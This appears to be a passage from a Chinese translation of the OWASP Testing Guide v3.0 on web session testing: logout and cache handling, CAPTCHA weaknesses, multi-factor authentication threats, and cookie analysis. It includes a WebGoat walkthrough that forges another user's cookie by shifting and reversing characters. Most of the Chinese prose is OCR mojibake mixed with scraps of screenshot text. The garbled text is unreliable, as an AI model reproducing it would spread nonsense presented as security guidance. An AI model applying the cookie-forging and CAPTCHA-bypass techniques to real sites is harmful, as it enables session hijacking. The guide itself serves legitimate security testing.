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A.4.7 VAR V28 9% A7 5 B (OWASP-AT-007)

EL:

FEIX — B BERATTR A A D RE 2 5 A S, I B ARV E A e S5 1E AN RE R BT ] . JRAT TR 5 2 A & 2 Y 7 R
—E N IR JE Y R e EBIER I RIS B ORI A ) G A P AT R B AT A UK ) Kl

i) LA i

WA 208 4 U 45 AR 5 e TS SRS R
o JHJTIRH
o JHTHE - ERINE G HSNER R P A

N TG N Y T S 2 R R RAG AR ST 17, BN SCHAT L B o SR, TR DhRE 20
WPRITA 2 IEAEIE (W1: cookie) AxFBHESSETCIAMIN, JF H AR5 dstin i AUFF AR 447 1 D) g LASE LB PR A T 22

SE.

e R ke Ui, d5 T B () Al S TR AR IR 55 A i oAk o T8 I R R D IAE ARG T IS M 1K v, I nE Java
rh{i ] HttpSession.invalidate(), 7& NET H{{iJf] Session.abandon(). 7l #5114 Cookie & — N ANEEHH AL B (1) )7
%, BN W S f D e e gsds BRI s ) cookie Ao Bk A AR5 .

R EA IEFPATIX T RE, Mo ol LEOX S 2il, DL “WEE” S e tioF B E et /it OXFPobrdias
P “cookie MH MM " > o BGh&BIAE Uil (AEEES2 4 AR h D) B0IERS, (AFEAFRRNS oL R, el
REAN IR ME . FH 22 3K Iy i) FA AR LN 8 S R A AR ey (e PSR, o EARATIR 7, eeeeee ) 2 2
A PR P IR A I, U R R AT IER AT IS 8 — NP oR REE AN TRIRE K5, o, 3 ied g o 3
oy R HHL Ty RO AT REAL S R AT I B BT B SSL100% S i ORI AERL T L A . AT BREE
(FITE A Lh BERE AL B 1B 1Y) Cookie #E A BN TAUAAFAE T, AU Hr ki S84 o) Mialy o 3X T Py 2 DRI (10 58 — Rl 1t
T h T RN P R A A LB VA AP U R I SR A 5 L REE TN A ST LA R P L

PRI 5 1]
EHIRE:

DR AR DI RE . R AN IR R Pt T MR, XA 20 1 AR (4 4 3 1 BT AT
W B AE TG BT AT L o B SRR A LT AN RET T P ULl AR A e W AR e A WU RO T T REAE 4
WA AN TS A A X AL AL

B, AR MIER N SRR S R A LA . Bltn, 2418 cookies I, A IR AL TE B T 216
cookie o LA HHT M E cookie F72, K cookie (HUBEE IR (Flln:  “NULL” BRILEEME) « Wk cookie

140



OWASP iR FE T v3.0

DSRIEAE, WK HAT SO & B St 28], Xt gl 2 25 UR i W 835 B cookieo R, 4n SRVIE VO Fc A 24 T H )
Ji1% B cookie [H):

Set-Cookie: SessionID=sjdhqwoy938eh1q; expires=Sun, 29-Oct-2006 12:20:00 GMT; path=/; domain=victim.com

I LA D Re 23 IR 0] 55 7R AR AR [E] A

Set-Cookie: SessionID=noauth; expires=Sat, 01-Jan-2000 00:00:00 GMT; path=/; domain=victim.com

EANAE S —A (R AR RD WS e I i i gs IR $o8l, DARIAJRGE FH - 30U 2 S A A0 W
RAPRE R, UL D) RE A A B e A S tihn v, X — DIRE IR AR 05 1D IX IR L AT I R DA B R 7
i T AEFEA cookie, FH P HUE OGN NS A BE A N P AE B RR cookieo WIALIEX PG, A LeN HIFE P o4n H
FERIES, USRS o XA OTE SR T AT A . BRIERR cookie AHEL, XML T EURZ Y00 %
fiko Hee N AR Pl g2l H JavaScript JC PRI NEAY, AFEX & — /MK T2 B A T A B 5k . H T2 7 S W 4

REBETC R SR AT A GXAERCE H B2 att, XN T RISt , XAt s R8s
PERRAG. Ji5h, IXPIMERIA R B T2 ) R, MORFIBCE. (Wl JavaScript A5 ) LS D) HE G FA] Internet
Explorer {HANGE G Firefox)

WS Ag “IRMB1 fA, BATRT MRS AT 4 9 S E IR SRR B DU, XU A AR T ) S AR R 24 . UK
S AL S R A, R 2% FAS VAT 2R LR SRR S A U AT BEE Cache - Control A, 3XA [ A ]
BAE RN .

FEMRR T “IRM” HA G, AT ENNRE SN A FHI S Cookie IR JRUAREFIRS 25 AT 12 15 759K wT LA A
IR PR 2o IR BRATIRE, X B AN E IR ERB R AT B cookie MRS A umALiEl, HAEA7E cookie M1 IEAf
A AL AR T U AR . 20K Cookie BB A H AR, FATHT LM H] WebScarab #4800 HIH)— AW, FHEAL
 HARMER) Set-Cookie Frfl:
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Intercept requests : [ | Intercept responses: [v|

Eiit Aesponse _

R T s P e e bt = 1 HTTP 1.1

User-. Agent Moznla,fS 0 {11; U; Linux i686; en-US; nv1.8.0.7) CGecko/20060919 Firefox/1.5. 0.7
cept: text/xml,application/xml, applicationfxhtml+ xml,text fhtml g =0.9,text /plain; g = 0.8,image/png,* /*;q=0.5
cept-Language: en-us,en;g=>0.7,it;g=0.3
cepi-Encoding: gzip,deflate
Wlaccept-charset: 1S0-8859-15,uf-8:q=0.7,*:0=0.7
| [eep-Alive: 200
Connection: keep-alive

WHTTRSL.1 200 OK
W Eerver: Microsaft-115/5.0

M|Date: Tue, 21 Oct 2006 15:10:22 CMT
W|connection: close|

[EID

et-Cookie: secure ticket = cxNicmIkMn)CSU9T Ny ZUTBBQI|sek|ncs &1 Domain = ictim. com; Path=/; Secure

et-Cookie: ns1=BAQAAADGRXZE  AAIAKDXdmUKmmhw®*; Domain=_ictim com; Expires=ed, 21-001-2007 15:10:33 GMT, Path=/

o, AT PAZEN W8S 2235 — A Cookie dmfHay (1. 7F Firefox "1 N Edit Cookie)

HnEC Contie Efitor uni2 Lo

sourceforge.net
sourceforge.net —utmz

|| Note! The list above is not updated automatically when the Cookie Manager is open.
|| - Information about the selected Cookie

Name: utma
Content: 191645736.447133665.1162306923.1162306923.1162306923.1
Domain: sourceforge net
I Path: /
Il| send For: Any type of connection
Expires: at end of session

Close

r Selection: — - Cookie: —‘

All Add
Edit
Invert Delete

Bptions

F\Iter/Refreshi

B B RS #s iy IR A H P cookie — /N LB [R145] 7 5 J& ASP.NET Forms Authentication 2%, H' Cookie
FEA F S PRI BN RS AE A, IR P A 2Rk i 45 it I 5 RBG AR AL B o IX PR 5 R RE AT R 11
cookie Zl, HREERARESTRRASKINTICR, Xt SEENE cookie WA I, AV HHFVRA A

1T cookie EJi B ti. (FEHMSNSH L)

PR S, XU T2l cookieo FAT TN AL B A7 R K HT P i S O Bl (it st S0

T FH P EE RS A IR 354 Cookie /2 %A KU

A8 S R R RE R T v U I o e B i IRV A IS ) A2 e 4 RO IN 1)) ARl I CRORKa B I

LD O e o TS0 O L0 @7 B VAR E A 07T (S S 6 I S O B R /A S

142

IR, 60 Zr Bl A N ) A



OWASP iR FE T v3.0

TUExm EE R FEERAT RIS, 60 7B ICRER K. ERXFEILT, BRARRFIRINREZOR, W BA

ATEBINERS AN R AN 2 A AL b a7 i R A B S AT UK 22 15 A7 AE
HE%% o BlINSEE S, ARG AL RN R B E MR R 0 F Y, SR ARG HA T IR . AR shaet, Wik
R G BOEM ], P R TR 2 B BRI AL JRATE T 2 T RN ARk 55 4k 2 %/ im (ElA ) AT I [A]
FEtil. 7E cookie ZWlh, IR Z31l cookie AEARFFANEM) (ERETEIUETD IF B A M AF G T I ) RARfT Ecds ), Fedi vy
AT R IR A 2 IR 55 A AT 1 o A SR 2 1l BOAIE AT AL 5 IS T AR OC it (9 dn 6 S A sl Ja U ) IS T), - B0RR
cookie [FJRIMIMIE)) , X W2 s AT T NEAS DI RE . AEIXMG LT, BATHEE SRR (FE BN Ok
PRI JFHERRTA L2 i, K cookie M HEKFRA LG, BHEIWLETRPIEK. 14—
FRORRIU), - 45 i A A — Y1) o Xt B I SR 251 cookie TEHTUREE BLLARIAE, T IR 0T BE TR U i) B AR
P

ZAr il

M FHRE PP H 4 S AR AN BB B S A7 v (R AR A i PO R B DRI, 7 AT 50 AN A B T R PP AN
Ay A R B S AR DA . Dy TR — L BATRTUME ] Web Scarab 185 & T3 AT 4 5 K R 55 4 6

IS, AR AE A 5 BRI I BE N BT, IR G5 4R s A S AR S . AE HTTP [BI N AR (R 54
R

HTTP/1.1:

Cache-Control: no-cache

HTTP/1.0:

Pragma: no-cache

Expires: <past date or illegal value (e.g.: 0)>

o, ATERAE HTML S e G 5 U s AR DRI 1T A -

HTTP/1.1:

<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">

HTTP/1.0:

<META HTTP-EQUIV="Pragma" CONTENT="no-cache">

<META HTTP-EQUIV="Expires” CONTENT="Sat, 01-Jan-2000 00:00:00 GMT">

B, R IATEAEM TR SN, AT EE S E R S 55 SR M T, Ik &
FITAT IXLE R TTHRATH no - cache 8% 53— U710, WUCRBATT AL U4 2 BUR A SVE R A BERR - W s AN G2 A7 X 48
WA, 8 LU B %ﬁﬁ%f@ﬁi FATHT LA i s A S S S A7 U A o 5 B AT B D7 B DGR T 7
IR A RGN R s o (0N i e i O

Mozilla Firefox:
o Unix/Linux: ~/.mozilla/firefox/<profile-id>/Cache/

o Windows: C:\Documents and Settings\<user_name>\Local Settings\Application

Data\Mozilla\Firefox\Profiles\<profile-id>\Cache>
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e Internet Explorer:

o C:\Documents and Settings\<user_name>\Local Settings\Temporary Internet Files>

JK g A S 45
BT A A
o IEHIREREAT RUH BRI S U IERD, A INX LSRR TR
o R EA SRR RATE L R A, A SCVFRC R HOB A LUAT 0 Sk

o HUTHEINVER DI REIF Hislf o A5 g AT o T IR 55 4 AN S A 328 PR 4 T 6 R mh e IR ST ), K
2 IR A ZRIN 3 DR

LA AT IR A BRGNS —FF, DR IZ R DL B AT T AR RE & iRk 55 4 1B W AR S AT HTMIL AQRS

= ASP.NET Forms Authentication: "Best Practices for Software Developers" -

http://www.foundstone.com/resources/whitepapers/ASPNETFormsAuthentication.pdf

= "The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications" -

http://support.microsoft.com/default.aspx?scid=kb;en-us;900111

Tools
=  Add N Edit Cookies (Firefox extension): https://addons.mozilla.org/firefox/573/

4.4.8 CAPTCHA Il (OWASP-AT-008)

CAPTCHA  “4: H K4y BHUR KA M > S Fi V% Web IR A0 B SR, LA (752
WA S EEF SEHLA B. BDE 2 ) captcha JEA< R ATREI, S0 captch B8 A 4 FIoicits . A T595 R s i
BRI T

) AL 4 34
AR CAPTCHA A — DB IR UESE], ER A Al ol DR H A o] o LU R 5 0L

o MOEHGE CE%, VRN 5 B R AR R 5 R BINS B -7 CAPTCHA, - Zreti i i LAFEAR R ¥ I 18] A
FRHERA 44, Al eI e BURE BD
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FERLIN RN B 8 AEVF 2 AN 2 GET / POST i3k (Biltun, Hafs /A5 /e 7 lisfHZ i) » CAPTCHA $R itk
PRI e

F QI /AR ik (Bildn, G e Rk, BT 3 iR )
R, BERPLEIR H K, EAER, IR wiki Kb
AT E BB, AR Py K i st FH A0 A5 5

AN H CAPTCHAs /E4 CSRF {47 (IR A4 B[ CSRF X 5E)

KZ# CAPTCHA 1E 5 & WL R 51l «

A 5 R PG 55 P45 55 1 P45 59 1 P4 59 1 CAPTCHA % . X Se PG i 5 LT i
CAPTCHA BT LLESHLRE IR A ANV LA B AT AL R 40D

77 CAPTCHA Il ) 35 S AR 1 AT B
o (UL GET Z4mk POST AL ik v BT 30D %1% CAPTCHA MRS o X AMEDE -
o RSN, Jf HAEIE WS L B CAPTCHA MR TL (i it RE A M &
o JEIFIHIA R ECHEATESIINE (a0 MD5 Zafit) , (HIX— N B HIRUT R 4T
A AT e

o MR ALIL KR ILL H e CAPTCHA B H 1D, K, Beci vl L St fs — AN 24 1
CAPTCHA E 11D, #R)5HATIEMY, Ff&1% CAPTCHA fAIS{HAIAHC ID (CPAPTCHA [1] ID 7] fE &
CAPTCHA HJ HASH fi# i sl AT A Sl AR 40D

o YEINIEMGIRAN, N AR S TE—l i 5 S0 CAPTCHA (4515 ID, 3 1] figgeid
CAPTCHA 3P 1T

PRI 5 1]

A P R A28 B ()dn, WebScarab ) A DA:

58 BT R AL T AT 50 % 7 i A3 B IR S5 25 () CAPTCHA AL GRS AT LIAL 7 CAPTCHA fithS i)
e B HCEIAE AR CAPTCHAID)

2R R IE—ANH K CAPTCHA BRI 5 IHIY CAPTCHAID  CH SR N I FE T B2 AT, XA 5 5% B ER Lt

FAKIE AN HIK CAPTCHA B IH 215 1D (AE2RIER, (BARE S 2 B E BT
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€

B E S5 24 CAPTCHAs L4885 4T 1% . W LALE gimpy » WNtcha il lafdc iX B 48 385 AR ) CAPTCHA &% .

B0 CAPTCHA W REMIZF R4 2 5 2 B LA S A .

IR U S 451
AN YA U TR

o I CAPTCHA FSEBLRIRSUA-7E) 2 A1 (1) CAPTCHA SR H R IRVE 2 CLAN IR, TEA- 1 W
http://osvdb.org/search?request=captcha

o WURNRER I i AL N B OZ NI 2 0% Sk B R n s sl i) Sk
AL g 5K

Captcha #7585

e  (Opensource) PWNtcha captcha decoder

e  (Opensource) The Captcha Breaker

e  (Commercial) Captcha decoder

e  (Commercial - Free) Online Captcha Decoder Free limited usage, enough for testing.

e  Breaking a Visual CAPTCHA

o  Breaking CAPTCHAs Without Using OCR

Why CAPTCHA is not a security control for user authentication

4.4.9 Z K Z AUENA (OWASP-AT-009)

%

X ZNFEINERSG”  (MFAS) SRJEHAT P B @K DN EEAL S . AT E SR 272 MFAS J5 1
TET R s DB AT 30 S Mty 58 2 i BEA T R IR AR T B2 o Bk, AR T SEREN) MFAS BEATAK
FIPRY A w7 ez S, BB — D ST IR A HESIR ] MFAS.
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i) L i

BAEOLR, AT AIER G H R SR AR AR SR [ 1] o R A e IR, B AR L7 Bk AR
AP L ATLASELX - Hbs » BERH] ) I S AR A E B o5 o SR OLEE T BOAREPE BE 9% mT L ELEAE ARSI A T
PEAEMAT G UEFE R SO AS L. X ROl “IRIE T

Bruce Schneier 7F 2005 45, 7EJLAERT “ A g, Wi: SRS B . MIAEAR, b A,
. A RIEEMARD” [2]. 52 b, 5 Web FREEH I MFAS 2 TE T A B )32 34 J2l B 0 355 «

1.

2.

3.

4.

5.

WEBEST Gyt gy, iR AT MITM i 2 35 199 2% b NFHRA T 55
SHIATE COAIE 3 R 07 00 A0 R e g A )

SUBGE CRUREH], U e

ARG REE I O 707 g NSHRAT L 55

WA COANFIE H K S R 65, Bl AN 42 5)

IREERIR R DR AL BT 5 E3d 5 NSO AT REAI B SH0F o X 7 DEAR ok 7 5 0 9 8 — Rk T4
AP LI RGeS A 2 i) “IAIEIN 387 B0 . SR T M B3R MRS . WERARANI R Ak H A S
s, M LARIGZER I ENER R 7 o [3 PRIMAER FRIBTE T BRA G & T BIA ] e e & bR th 1 3l
BB 2 B St A B0t ARz ;- Bedh, BRITE T SEAHLE,  MFAS AR k7 58 BRI 22 4

FIERILAEIEE 5 R (5T , FATATLL MRS € (1) MFAS i 95 SRR, IR i o s 5] BEi R AT >
web Biti, B O A 19 4% BU AN R i -

IR A MR

X MFAS fif T ST AR A 5 2 B D BEAUAIERGUE B XA “ Bl B2 R
s ARSI KECT RARF EE, KL

St MFAS fif gk J5 S8 0 T RS BRARAE SATIANIE . T037T R S5 A R 7 22 4 A 208 N AT

Buiki & G A BeXT MFAS St e D By, Ui BH A BT A7 LE AR R A B S A s il . DR Mok % el i R
BEl T 2, A “ PN R D UE SRR PR R o BB St 1 A 20k AR AT & P A e A R4 T
WSl R IE RG] TAF o R IE . Bl Rl —AN% ), AR5 2% 1A Wl 4
LR, (FEIE—AURE 4 1)) SilentBanker Trojan [41/FI1E#, Al BELESZ 55 T 0 W 19X 2 I R S AR TL 11
Dy 1) Pl (45 B e S Ah— AN 491 2 2005 4E (1) Swedish Nordea 4347 B [5]).

MR T BRI ST AR ANE] MFAS 3E47 20 4 PEAG 1 %401

147



€

Web I H] 8 ILHAUEMF R 7 G2 A ™ 1D ARG IAE . FEIXAMELLT, SRR E T SRS S T
MFAS itk 7 SERERE “ARITIIATI” AR RS Bl R 2,

o —IRIEEEEL (OTP) FT A= Ir) M E Y
o MR, W, sHEGEH A ERGE R
o INEY A, HIUIEEAT X.509 UF (K] USB B F A EL A BE

o BHNLF=E I I GSM SMS[SMSOTP] [6]45 A5 A& 4 1 — U 1tk 25 1

T PR 2 A5 S AR E R MFAS FRIAS ] S 175 00 0 IR A o Gn SR 4K D A A, 185 MR N %% T8 1 HiT i
ORI BT Al REM T, DMER I E R AR 2. ERD R B AR 7 R B, ERA IO PEAL B a] DA 28Ry AL HL
SR FRIET MFAS.

GEMA L DRI PF O, B DR TR SR AT RErE . A5 Rt MR 7. ATRDK
VEAR AR R R NHATER L, 8 WO 03 FZ N 242 2 15 IR TR FR AR B M 2% EAE IS IR I, JFBCH AR5
IS AR A FE SR KRN AR S a7, BB R RN 24 (7). FEAZ Syl e A ]
TPk e A AERD AR TR I, A0 0 S0 RE F B IS KPP 2 38, BERLLIAR M w] BE A 55
75N GR AN A ZE U AR 2 A AR AN P A AR RS o AR R AT MARE T 3 i o e A 3 i 7 R
JUE GO IRRAIKIAT A, T BENE 2 EITE AR R A 2R 1A e e 7 SR A 33 1) S5 N AR SR REAE AL 2 J D i
AERFE I A S 1 DL o

WK R D, EABRNERRE W R 052 Bk (3) Budi, i (20 Moo ARATTIEE AR R W ik
W% (1, (4 F(5) MHdr. EBEMAE AR, ZIEMMIXMIERS, A LA PR g5 S REfR
PRI I

Wt v, A “H 1D, FERNEBRENL” XAIE T RRERY 52 (2) Al (3) o BEIMRARNAZR 2215 2410
FIE e Baa i | P R SRR, BEGEIRERE TSEYdi.  (Blhn, b 7T H S IRAERERE, vl
AT M Oy S Sk Bt . )
o T “H P ID+EHEBREL” BRI
o CEAlEi:1,4,5

o CHIN () OAEREAALR, JF BT T DO e 8 & b By g U A (8], M 32X
K BRARERY M e (1) I9%edie  (Ptn: X ssuv2 EREATH M AT o XA
[A]— A I BRI S REEAT 2 ARt X —BORFEIRE AR RS N 152 (4) F(S) B o

o AR CUIRBATICLED - 2,3
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o AR GEE) AR T IERERA, X BoRA BRI N % (2) BT . BRI
e (3) By, DU RS 1 KA Fo v B2 i 2 i A 2 iR s BR R AE (9]

FRAE AT AN [E] MFAS S TS L :
W MFAS T2, IR “— PSS (OTP) AT ZE i BeiEns ” BECRI 732 (1), (2) A3 MLt . & AT IASBELR:
Pz (5) Biali, FHFHTERY %% (4) Kb,

o LT RPEES” BINIERRT SRR
o AN 4, H/RKEBLFR 5

o  CHkM CHEfE) = B THAT SR AT BRI T 1T E N SE I A R i, P A IR
BT (4) 5 AHRZEEIALFE: malicious codes SilentBanker, Mebroot, and Trojan Anserin . 47T
EEAG web I —FE S HTTPS W TAC L. TR R e Al 732 % ui,  F T R
FERAT SR B A R T e S5 1L BE AL G FI R W /o RS (5) e — A
T, e R — P B AL UERS . ISR AT RE 30 M ON: W IAIE R G R DA H
REBGIEND, T8 & SE N RIFRSRELE 30 B0 N TAFE 2 TUAE .

o  HIME CUIRHA L) 1,2,3

o A (EF) - T IRPEE B A ROE R R, ERa RS (1) o BhE
TIAE 30 AN HEIUIIE RS . BEANRAT IS IF HEATAC Sp o IXEARTIAT, (ELRIE S AN 2 T BOR T FH
o H, —XMEERS HMACHBH AT 6 A7 1, IXFFRER® (2) B BEMRN iz Rk
PSR T AT AR T 2 4, JF A€ XA AR AT . ), i T aa iR e
f, ALAF R R AR ORI T %2 (3) Beahio @A T A Bk # AN e Geid i kA
RS UERS IR o

“PIREA, FIR, BRI EEI A REERER 7 LR 32 (1), (2), (3) K. BRI AEANRE R
Wz (4) e EMGESNT, SEERROER RS R AEAERIR 252 (50 Bitie il AR RGBT — i, I
RN EN 5 .

FEVPAGIZAEORIN, V832 MU RS VE B0 AR R RS G (5) o BET RIS R R R GUl 1 2 2 CEDR Al
M. Mo g Z0E — A — PSS (Pl PR R A — 3D RS REUT SR A BT i i % . I
WP R USROS B A R4S, WA S IR R (B, R — AR R so NME, LBl
BN THEAFR) AR EATH B kS X B AN B B MR, T RN AR X
PRl o HEH AT IR RIS S ECRE . AT AR SRR Y I B 6 MK . S SRS U L
A st g B SR REAT R S L o

CHAUETIN A e (USB B IERYERE R KD 7 X (2) BrliRRERALRAF BT . HRRARATANEE 100%H85T (3D |
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Reviewing Code for Race Conditions

%

e  iSec Partners - Concurrency attacks in Web Applications http://isecpartners.com/files/iSEC%20Partners%20-
%20Concurrency%20Attacks%20in%20Web%20Applications.pdf

e  B.Sullivan and B. Hoffman - Premature Ajax-ulation and You https://www.blackhat.com/presentations/bh-usa-

07/Sullivan_and Hoffman/Whitepaper/bh-usa-07-sullivan_and _hoffman-WP.pdf

e  Thread Safety Challenge in WebGoat - http://www.owasp.org/index.php/OWASP WebGoat Project

. R. Paleari, D. Marrone, D. Bruschi, M. Monga - On Race Vulnerabilities in Web Applications

http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf
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alice ?? PPPPPRPRY?

Cookie W £

o, AR AR R, [ FH P AN (A6 i 56 UE Cookie PREFANAE o 33X RS0 S — AN GBI s AR
IR BT I 2 Cookie  C(HIHIAEHT XSS ildd » FATWT LAAEAJIRE A UEAS 00 N e R FFAHSC T 7 2>
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Wi M, BANERES, “webgoat” Fl “aspect” [f cookies 5 —NILMMKIHES>:  “65432u” o “654327 LIFREA
WHAEEL, “u” WE? “webgoat” Fil “aspect” FARFHESLLERE “t7 g5, TARATIN cookies NI [FIIN LA BE “u” B
bi. JA1EF “webgoat” Jolf AN F4F:

‘o n “yn

1st char: “w” + 1 ="x

2nd char: “e” + 1 =“f"
3rd char: “b” + 1="“c”
4th char: “g” + 1= “h”
5th char: “0” + 1= “p”
6th char: “a” + 1= “b”
7th char: “t” +1="“u”

A5 “xfchpbu 7 JEtAESAIIE  “ubphefx” T o ZSVERIIFIE S “aspect” Y, BTUAFRATTA X HI ) “alice”
AR IX—4¥E, M2 Cookie 45 FL 2 “65432fdjmb” o FRATTFFAE A “webgoat” FHIGIF N HFLT, 1533
A% cookie J&, Al F T alice UFEH S 405K cookie FFIIEF S, fifeeeee SR DU, N R AT S

frie “alice” , MAE” webgoat” .
IR

i FH 55 2% Buiki Be 4R 2 1E A/ 1) & 4 B8 UE Cookie , {HEIX HJ e AR H FERT EAR . Foundstone Cookie Digger e Wil 4
K cookie, #KE| cookie VIR PR, FE, % LR T AR cookie {E LAMEARL A& % 2L 5 Sk 1 £
DERF R AR . U1 1% Cookie (EL7EIE LS Sk AL, Cookie Digger wlt4s 4 Bk 7 B A [ s [1) S it 95 28 Bk gl
SR B U S 2 5 ) B (. e R, BATCE AL SIS T BT ) cookies, & dEAT
10 REGUES2R . X TR IR — AR ALY cookie, TAMTTEVEAL TR A “2J1# " % cookie BT 75 £ v g 241

CookieName Has Username or Average Character Set Randomness Brute Force Attempts
Password Length Index
X_ID False 820 ,0-9, a-f 52,43 2,60699329187639E+129
COOKIE_IDENT_SERV | |False 54 ,+ /-9, AN, P-X, Z, a-z 31,19 12809303223894,6
X_ID_YACAS False 820 ,0-9, a-f 52,52 4,46965862559887E+129
COOKIE_IDENT False 54 ,+, /-9, AN, P-X, Z, a-z 31,19 12809303223894,6
X_UPC False 172 ,0-9, a-f 23,95 2526014396252,81
CAS_UPC False 172 ,0-9, a-f 23,95 2526014396252,81
CAS_SCC False 152 ,0-9, a-f 34,65 7,14901878613151E+15
COOKIE_X False 32 ,+/,0,8,9,A, CE K M,O,Q R, W-Y, e-h, |, ||0 1
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| | m,q,s,u,Yy,z

,0-2,5,7,A,D, F-I, K-M, 0-Q, W-Y, a-h, j-q, t,
vgnvisitor False 26 33,59 18672264717,3479
u, w-y, ™

X_ID

5573657249643a3d333335363937393835323b4d736973646e3a3d333335363937393835323b537461746f436f6e73656e736f3a3d303b4d65746f646f417574656e746963..

5573657249643a3d333335363937393835323b4d736973646e3a3d333335363937393835323b537461746f436f6e73656e736f3a3d303b4d65746f646f417574656e7469636

Cookie Digger R 1552 4)
Wi H

PR W R 55 2343 21 (¥ Cookie S AFfitifE D ERENATE M, 3T A7 A IX LA B UL A Mot 5 L. Cookie Jif
HREAF RIS o X i R BGR I AR R R SR SHE IR S5 I A foe AT T RS 2R, (HtAT T e S ECRVF T R . G
TEOUT, XHETEM T AREFE RGN AN . — AR G20 DX i BRSO T IR R A RGN AE B, DMEIE
B E S AW AS A A AACRS o

254 http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html

IR A AR
DR SR A T DA B 2o i A BB SE BT i, T LU 2 DA N 2
o LR

2305 1D BUR LR P i ) Cookie WiZ e ANAR 2 TN ANl FH LTy P AR 20 (s o 1P Huhb) fgebEsyk) .
FRUWUE %K B 256 D755 (i AES)

o AR
250 1D /DA 50 N TAFINKSE .
o BN
SATA R INAZ 52 SN R ) G H e T 7 5 3 1 000 1 2 B )
e Cookie JETEMLE :
o ARFFAME: HAFAE RAM ALY

o Secure (UK BELE https {51&) : W& cookie: cookie=data; path=/; domain=.aaa.it; secure
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o HTTPOnly (JHIASAT]2): # & Cookie: cookie=data; path=/; domain=.aaa.it; HTTPOnly

HEZE 2 0. Testing for cookies attributes

e  RFC 2965 “HTTP State Management Mechanism”

e  RFC 1750 “Randomness Recommendations for Security”

e  “Strange Attractors and TCP/IP Sequence Number Analysis”:
http://www.bindview.com/Services/Razor/Papers/2001/tcpseq.cfm

e  Correlation Coefficient: http://mathworld.wolfram.com/CorrelationCoefficient.html

e  ENT: http://fourmilab.ch/random/

e  http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html

e  Darrin Barrall: "Automated Cookie Analysis" — http://www.spidynamics.com/assets/documents/SPIcookies.pdf

e  Gunter Ollmann: "Web Based Session Management" - http://www.technicalinfo.net

e  Matteo Meucci:"MMS Spoofing" - www.owasp.org/images/7/72/MMS_Spoofing.ppt
TH

e  OWASP's WebScarab features a session token analysis mechanism. You can read How to test session identifier strength with

WebScarab.

e  Foundstone CookieDigger - http://www.foundstone.com/resources/proddesc/cookiedigger.htm

4.5.2 COOKIES J& ik (OWASP-SM-002)

ot 22

X R Cookies Tl & — AN RHEM BUH A GEEZEI G , Bk, NIRRT RO S R
cookieo TEATIH, MGG N HTEZBC cookie I NEACH G AL TR HE it LA S ey a0 46 Jg PR I I Aff G
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€

i) 7L 4 ik

‘2 AAf ] Cookie [MEEZEMEANREARAL, JUHIEAETF ZLELE HTTP IXAE I RS P BOR SR ERIR A 184 W 28 3 FH FR
HEfi# cookies M TEVETEE T MAABAT LTI Trkb o AAT] 00 = ZERR AR A0FE H SR A R R 2 A /DR 2 R B A DAy i ) 4
Pt P AEAATTI = ZERRE AL HE HISRAE by 2 T4 AAUE A WA 0 I R At ds o DRLG, 2R — ANk — 2
BORAF— AR (n, 3 R A5 il i AR R SRR N2 251519 B2 D, T8 KAt/ ik v] LA I
A~ cookie BIFF—MH MWL, JAL,  Cookie s IR GG 2 MG K X2 HTTP 2 IRIRAM),
RBATHFN R IBIIBRRST, IS5 A8 0V WO BT SR A 2 i 2 1 (1) — 7 B VR — AN il T ah . B
R ILE T, ARIRANFRIRFFIEH L — cookie. VFZ AN RIS 1 HIRL P # wd ZE O — AN il h I 2 AN K,
MAEZE Rk 2 — MREFIIE 1o 29— DN PAE NI T 207 i, IXSSEE % Ok B A0S R 2 LA
JaFTAE R IR ORAE s AT 5538 LA Cookie SKSEIL. N HFEFAE HTTP [HIN i H Set-Cookie 454 ¥ EAH
2K cookie, I H /] name=value #& (W cookie DIREML i HI T HFAIE: MHITAIAN web B b s #li 2 S0 HF
cookie DhfE) o — HLI FHFEPHR 0 S48 H AN cookie, I g8 2 AE AN LU HIE Sk b & 121X AN cookie. Cookie
] DL RO L dE . AR P A . . DM AE RS P ID AESE. 1T cookie HY
FEAEBURAE L, AT ] — AR T SR B & e AR b M5 Lo BT, R FIE R &8 £ Cookie (Hi
ST o BN, TEARZRIIEGIT, T RAEIEY P T 2, R RCE - ASET cookie. Ut
Ab, — B BITE N R, AR S —NGIE cookie ( EIRSTEA) , RS HEZA cookie H
TIRAUEARAS FEIE SR il SO AR R CRIMN A A =D

IAERCA T R 3% & cookies « {15 & cookies. cookie [IH4AL. i1 cookies PR PH LA S AAT T RS pE . 3T
KIA1H T iR cookie [r)JE 1 LL S anAT R, cookie [R)4¢4s. RIfii 2 cookie [JE A% M A o N — 6 8 SURE
AT AR B 1

o  Secure — X/NEME S YR YO A R BT I 2B Hitps 445 18 R 35375 SR I A 0] LA N cookie o X
7 11 cookie 7EAE N 1117 W 4% A ik

AT LB HTTP A1 HTTPS Vi lnl W REY , 84 Cookie 3 AT RE A& H SCIE 20 R 1% 1
e HttpOnly —— XN e kBT 1E T, sl s A . B R e vl JavaScript 2525 ) i A Vs )
cookie » 1HIERL, JFAERTH W A A Fr b ThAE.
e Domain — RIS AR IEAEZSR ) URL fI8 4%, anikPpChd, s el — D1k, WL T2

ek path J

R NS EEA M EHA LU %A WS cookieo [RIIfIA4% J8 PEANBE S K44 (4l gov B.com) , AR
1RSS4 0 57— N AT A Cookieo WA W EEAENE, LKA cookie MRS5S 2% A4 FHAEELA 1)
BRINE . it SRS R A7AE T app.mydomain.com %A 1 14k 44 J 1t oK 15 & cookie, T & 1 B 2K o)
app.mydomain.com M 714 (Ul hacker.app.mydomai.com) 45 i 3K B HTHE48 i% Cookie, {HIXIfANE T
otherapp.mydomain.com o WIS & FHAEGAN X — R, I LAt ] LUK A J8 PE % &8 mydomain.com o ZEIX i i
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T K 1%1% Cookie 4 TR, 4% app.mydomain.com A 118 (11 hacker.app.mydomain.com ) H&
bank.mydomain.com . R T (41, otherapp.mydomain.com ) B — M EATRIMI RS 2%, I B4 )81k
BOEL TAARL (B,  mydomain.com) , B L AFAEI I IO IR 25 2% AT 9 R 315 Cookie  (HN4Sim4HL) .

e Path—— R J Domain, cookie FJLAFRE AR URL B54t. SRR RIERARILHL, T8 L5 Ko Ak i

Cookie.

PRI JE AR REALL, A SRR R M B T, L e S BN AR 5 %ok A R — & s w i) B e N R P
8. flan, WA EIERE N Web RSS2 « /"R H X, B LA A4 A 14— AN FHRE 7 AR RE A 211X A
N HFE ) cookies

